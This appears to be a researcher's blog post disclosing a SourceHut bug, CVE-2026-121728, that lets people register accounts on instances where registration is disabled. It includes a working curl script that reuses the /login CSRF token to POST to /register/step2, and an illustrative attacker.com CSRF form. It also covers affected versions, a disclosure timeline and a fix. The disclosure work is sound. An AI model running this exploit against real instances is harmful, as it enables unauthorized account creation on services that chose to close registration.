SourceHut disabled registration bypass | CVE-2026-121728

You could register accounts on SourceHut instances who disabled registration

November 3, 2026 · 4 min · Arusekk

(plaintext version for nerds - patches welcome)

So, last time I wrote about account takeover using XSS on the CI platform of SourceHut.

This time I found something not nearly as ‘impactful’, but still interesting. Sorry for taking this long, but my SSD literally died[1] and while waiting for a warranty repair I had to buy a used one (have you seen the prices yet??)[2]. It finally arrived so here I am.

So, if you want me to work faster, just drop me some money.[3]

No NLP

Again, as you might know, I am not very excited about the current wave of natural language processing.[4]

No NLP has been used in this research. The mistakes are all mine.

The background

SourceHut has been undergoing quite an architectural change. Its frontend was first built using Flask and Jinja templates and SQLAlchemy. But, for performance reasons, and for other reasons (decoupling of business logic, graphql) the API has been ported over to Go.

The problem

Back in 2021, while moving registration code from the frontend to the graphql backend, a subtle logic bug got introduced. While the frontend never shows a registration form, and states prominently ‘registration is currently closed’, the form handler is still there. It correctly states that registration is closed on every error path, but on the happy path it does not seem to ever check it. So if you happen to remember how to submit the form…

The exploitation

You just need to `POST /register/step2` with your desired username, email and password. If the server in question disables registration, but has its SMTP configured properly (you still need to do email confirmation), boom, you are in.

There is only one caveat, the csrf token — protection against Cross-Site Request Forgery, like a `www.attacker.com` containing `<form action="https://meta.sr.ht/profile/delete">` (or 307ing there), because yes you can post forms to other sites, and yes the request will carry valid cookies. What other sites cannot know are the values of input fields in the form presented to you specifically, so the typical protection is `<input type="hidden" name="_csrf_token" value="1d02711ce5a3a17342...">`.

There is no registration form displayed, so there is no token. However, fortunately for us attackers, the token from /login works just fine.

The exploit

```
#!/bin/sh

#META=https://meta.copyleft.market
META=http://127.0.0.1:5000
USERNAME=azurediamond
EMAIL=test@example.com
PASSWORD=hunter2
```

```
csrf=$(curl -c cookie.txt $META/login |grep -A1 csrf |cut -d\' -f2 |tail -1)
curl -v -b cookie.txt $META/register/step2 \
        -d _csrf_token="$csrf" \
        -d username="$USERNAME" \
        -d email="$EMAIL" \
        -d password="$PASSWORD"
```

Some metadata, I guess?

- Affected versions: 0.56.11 through 0.88.9
- Affected instances: at least 10 (GET WRITTEN PERMISSION BEFORE TESTING)
- CVSS 4.0 (subjective): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:D/RE:M/U:Green
- Indicators of compromise: unknown user accounts (go to /users on meta)

Timeline

- 2021-09-24 - vulnerability introduced
- 2026-08-13 - I write ‘registration [on meta.copyleft.market] is disabled, so good luck getting anywhere’
- 2026-09-24 - my SSD dies quite literally as I publish the writeup on the account takeover vulnerability
- 2026-10-?? - I keep thinking about what I wrote back on 2026-08-13
- 2026-11-02 - disclosure to SourceHut’s security mailing list
- 2026-11-03 - ack, fix lands, downstream notified, this post published, CVE id requested from VulnCheck
- 2026-11-03 - VulnCheck assigns CVE-2026-121728
- some day, profit?

Summary

Lessons learned:

- Refactors can swallow security checks.
- Double check correctness on auth flows.
- CSRF protection would prevent this if the token was scope-limited to the specific endpoint each form points to.
- VulnCheck is nice but their contact channels can still get more responsive.

Does anyone know a bug bounty program where the researcher pays an upfront participation fee? I will set mine up this way for sure, and you should consider it too, if you are drowning in submissions.

As I said the last time, I am not done. Stay tuned (follow me on all socials to be sure, and RSS of course) and ~~call~~ hire me maybe.

---

1. it's okay, I did make a backup ↩
2. please can someone just… stop this madness? who else wants to just cut San Francisco off the Internet? or build a garage DRAM/SSD factory with me? can't be that hard… ↩
3. For example by buying something or donating or donating (every euro or dollar makes a difference to me). Or by signal boosting my paid projects! You can now hire me for professional consulting, too. ↩
4. I mean, transformers *are* groundbreaking, but (not to make this text even longer) in the same sense that leaded fuel was groundbreaking. Cool, but so what. We had fuels before, and we have better fuels now. ↩

© 2026 Arusekk blog · Powered by Hugo & PaperMod